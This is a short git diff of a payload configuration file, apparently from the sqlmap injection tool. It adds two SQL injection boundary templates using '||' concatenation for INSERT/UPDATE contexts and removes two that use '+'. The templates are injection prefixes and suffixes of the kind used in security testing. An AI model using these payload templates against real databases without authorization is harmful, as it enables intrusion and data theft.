diff --git a/xml/payloads.xml b/xml/payloads.xml
index 13ea53a0c..3fcaa7013 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -488,6 +488,24 @@ Formats:
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix> || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) ||</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>|| (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) ||</suffix>
+    </boundary>
+
     <boundary>
         <level>5</level>
         <clause>1</clause>
@@ -506,15 +524,6 @@ Formats:
         <suffix>) || '</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)</suffix>
-    </boundary>
-
     <boundary>
         <level>5</level>
         <clause>1</clause>
@@ -524,15 +533,6 @@ Formats:
         <suffix>)</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>) + '</suffix>
-    </boundary>
-
     <boundary>
         <level>5</level>
         <clause>1</clause>